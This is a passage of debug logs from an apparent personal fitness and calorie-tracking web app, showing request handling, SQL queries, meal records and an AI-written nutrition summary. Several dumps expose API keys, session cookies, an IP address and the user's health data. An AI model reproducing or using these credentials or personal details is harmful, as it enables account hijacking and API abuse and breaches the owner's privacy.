    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1fc6-pdJaOFkcZa/zPMYtGWbEgDG+TRQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T14:05:33.412Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-25T14:05:33.412Z server-connect:app Executing action step identify
2025-12-25T14:05:33.413Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:33.413Z server-connect:output identity: 1
2025-12-25T14:05:33.413Z server-connect:app Executing action step restrict
2025-12-25T14:05:33.413Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:33.413Z server-connect:output restrict: undefined
2025-12-25T14:05:33.413Z server-connect:app Executing action step select
2025-12-25T14:05:33.413Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-25T14:05:33.415Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2025-12-25T14:05:34.763Z server-connect:router Serving templateView /calorie-tracker
2025-12-25T14:05:34.763Z server-connect:app Executing action step identify
2025-12-25T14:05:34.763Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:34.763Z server-connect:output identity: 1
2025-12-25T14:05:34.763Z server-connect:app Executing action step restrict
2025-12-25T14:05:34.763Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:34.763Z server-connect:output restrict: undefined
2025-12-25T14:05:34.763Z server-connect:router Render template calorie-tracker
2025-12-25T14:05:34.764Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T14:05:34.989Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-25T14:05:34.990Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-25T14:05:34.991Z server-connect:app Executing action step identify
2025-12-25T14:05:34.991Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:34.991Z server-connect:output identity: 1
2025-12-25T14:05:34.991Z server-connect:app Executing action step restrict
2025-12-25T14:05:34.991Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T14:05:34.991Z server-connect:app Executing action step identify
2025-12-25T14:05:34.991Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:34.991Z server-connect:output identity: 1
2025-12-25T14:05:34.991Z server-connect:app Executing action step restrict
2025-12-25T14:05:34.991Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:34.991Z server-connect:output restrict: undefined
2025-12-25T14:05:34.991Z server-connect:app Executing action step single
2025-12-25T14:05:34.992Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-25T14:05:34.992Z server-connect:output restrict: undefined
2025-12-25T14:05:34.992Z server-connect:app Executing action step single
2025-12-25T14:05:34.992Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-25T14:05:34.993Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "The day's nutrition shows a decent intake of protein, particularly from the whey supplement, which supports muscle development. The meals are balanced with carbohydrates and vegetables, contributing to overall energy and nutrient needs. Meal timing appears to be spread throughout the day, which is generally beneficial for consistent energy levels and recovery.",
    bad_points: [
      'Potential for higher carbohydrate intake from multiple rotis.',
      'Limited variety in protein sources beyond the whey supplement.',
      'Some meals could benefit from more diverse vegetable types.'
    ],
    good_points: [
      'Adequate protein intake from whey supplement to support muscle development.',
      'Inclusion of vegetables in meals for micronutrients and fiber.',
      'Whey protein consumed post-workout likely aids recovery.',
      'Meals are spaced throughout the day, supporting consistent energy.'
    ],
    suggestions: [
      'Consider incorporating more diverse protein sources like lean meats, fish, or legumes into main meals.',
      'Ensure adequate hydration throughout the day.',
      'Explore adding a small portion of healthy fats to meals for satiety and nutrient absorption.',
      'Vary vegetable choices to ensure a broader spectrum of vitamins and minerals.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Good effort',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-24T18:30:00.000Z'
}
2025-12-25T14:05:34.994Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-25T14:05:34.994Z server-connect:app Executing action step select
2025-12-25T14:05:34.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-25T14:05:34.997Z server-connect:output item_list: [
  {
    id: 512,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Guava',
    calories: 76,
    protein_gm: 1,
    carbs_gm: 8,
    fat_gm: 1,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Celery sticks,Watermelon (in moderation)',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 513,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 514,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Egg whites',
    created_at: '2025-12-24T22:38:30.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 515,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Aalo Matar Ghooghri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghooghri with less oil,Aalo Matar Ghooghri with more peas and less potato,Steamed vegetables with a light seasoning',
    created_at: '2025-12-24T22:39:07.000Z',
    skip_level: 2,
    skip_reason: "While potatoes provide carbs for energy, the preparation often involves significant oil, increasing fat and calorie content. For muscle development, focusing on leaner protein sources and complex carbs with less added fat would be more beneficial. It's 'good to skip but ok' if consumed in moderation and prepared with less oil."
  },
  {
    id: 516,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup',
    replacements: 'Water,Herbal infusions (e.g., peppermint tea, chamomile tea)',
    created_at: '2025-12-25T01:13:55.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants and minimal calories. Good for hydration and metabolism.'
  },
  {
    id: 517,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 518,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Saag Sabji',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 3,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed Saag,Saag with less oil/ghee',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 519,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 120,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Baingan Bharta (less oil),Grilled Baingan,Baingan Curry (less cream/oil)',
    created_at: '2025-12-25T02:20:00.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 520,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Guava',
    calories: 68,
    protein_gm: 3,
    carbs_gm: 14,
    fat_gm: 1,
    quantity: '1 medium (approx 100g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-25T03:10:14.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C and fiber, good for overall health and muscle recovery.'
  },
  {
    id: 521,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (240 ml)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-25T05:15:32.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and calcium for muscle development. Opt for low-fat or skim milk to reduce fat intake if desired.'
  },
  {
    id: 522,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Sugar',
    calories: 16,
    protein_gm: 0,
    carbs_gm: 4,
    fat_gm: 0,
    quantity: '1 teaspoon (4g)',
    replacements: 'Stevia,Erythritol,Monk fruit sweetener',
    created_at: '2025-12-25T05:15:32.000Z',
    skip_level: 3,
    skip_reason: 'Provides empty calories with no nutritional benefit. For muscle development, focus on nutrient-dense foods. Reducing sugar intake is generally beneficial for overall health.'
  },
  {
    id: 523,
    intake_date: '2025-12-24T18:30:00.000Z',
    item_name: 'Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (240 ml)',
    replacements: 'Herbal tea (no added sugar),Black coffee (no added sugar)',
    created_at: '2025-12-25T05:15:32.000Z',
    skip_level: 1,
    skip_reason: "Generally very low in calories and can be hydrating. If consumed without milk and sugar, it's a good beverage choice."
  }
]
2025-12-25T14:05:34.997Z server-connect:app Executing action step setvalue
2025-12-25T14:05:34.997Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-25T14:05:34.997Z server-connect:output var_total: 1289
2025-12-25T14:05:34.997Z server-connect:app Executing action step setvalue
2025-12-25T14:05:34.997Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-25T14:05:34.997Z server-connect:output var_consumed: 54
2025-12-25T14:05:34.997Z server-connect:app Executing action step setvalue
2025-12-25T14:05:34.997Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-25T14:05:34.997Z server-connect:output var_deficit: 1111
2025-12-25T14:05:34.997Z server-connect:app Executing action step custom
2025-12-25T14:05:34.997Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-25T14:05:34.999Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '2400',
    surplus_or_deficit: '0',
    status_flag: 1
  },
  {
    intake_date: 2025-12-24T18:30:00.000Z,
    total_consumed: '1289',
    surplus_or_deficit: '1111',
    status_flag: 2
  }
]
2025-12-25T14:05:34.999Z server-connect:app Executing action step single
2025-12-25T14:05:34.999Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-25T14:05:35.000Z server-connect:output current_weight: { weight: '69.60', date: '2025-12-24T18:30:00.000Z' }
2025-12-25T14:05:35.737Z server-connect:app Executing action step identify
2025-12-25T14:05:35.771Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:35.771Z server-connect:output identity: 1
2025-12-25T14:05:37.838Z server-connect:router Serving templateView /workout
2025-12-25T14:05:37.838Z server-connect:app Executing action step identify
2025-12-25T14:05:37.838Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:37.838Z server-connect:output identity: 1
2025-12-25T14:05:37.838Z server-connect:app Executing action step restrict
2025-12-25T14:05:37.838Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:37.838Z server-connect:output restrict: undefined
2025-12-25T14:05:37.838Z server-connect:router Render template workout
2025-12-25T14:05:37.839Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1fc6-pdJaOFkcZa/zPMYtGWbEgDG+TRQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
